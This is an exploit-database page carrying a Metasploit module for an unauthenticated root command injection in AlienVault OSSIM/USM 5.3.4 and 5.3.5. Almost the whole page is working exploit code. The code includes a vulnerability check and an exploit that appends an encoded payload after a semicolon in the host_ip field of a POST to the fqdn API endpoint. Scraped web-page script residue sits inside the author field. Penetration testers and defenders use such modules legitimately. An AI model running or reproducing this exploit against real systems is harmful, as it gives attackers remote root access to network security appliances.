Alienvault OSSIM/USM 5.3.4/5.3.5 - Remote Command Execution (Metasploit)

2017-04-13 00:05:02

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'AlienVault USM/OSSIM API Command Execution',
'Description' => %q{
This module exploits an unauthenticated command injection in Alienvault USM/OSSIM versions 5.3.4 and 5.3.5. The vulnerability lies in an API function that does not check for authentication and then passes user input directly to a system call as root.
},
'Author' =>
[
'Unknown', # Privately disclosed to Alienvault
'Peter Lapp (<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="4a262b3a3a392f290a2d272b232664292527">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>)' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://www.alienvault.com/forums/discussion/8415/']
],
'Privileged' => false,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd'
}
},
'DefaultOptions' =>
{
'SSL' => true
},
'Targets' =>
[
[ 'Automatic', { }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 5 2017'))

register_options(
[
Opt::RPORT(40011)
], self.class)
end

def check
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/av/api/1.0/system/local/network/fqdn'),
'vars_post' => {
'host_ip' => "127.0.0.1"
},
'headers' => {
'Accept' => "application/json"
}
})

if res and res.code == 200 and res.body.include?('success')
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

def exploit

print_status("Executing payload...")

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/av/api/1.0/system/local/network/fqdn'),
'vars_post' => {
'host_ip' => ";#{payload.encoded}"
},
'headers' => {
'Accept' => "application/json"
}
})
end


end

Fixes

No fixes

In order to submit a new fix you need to be registered.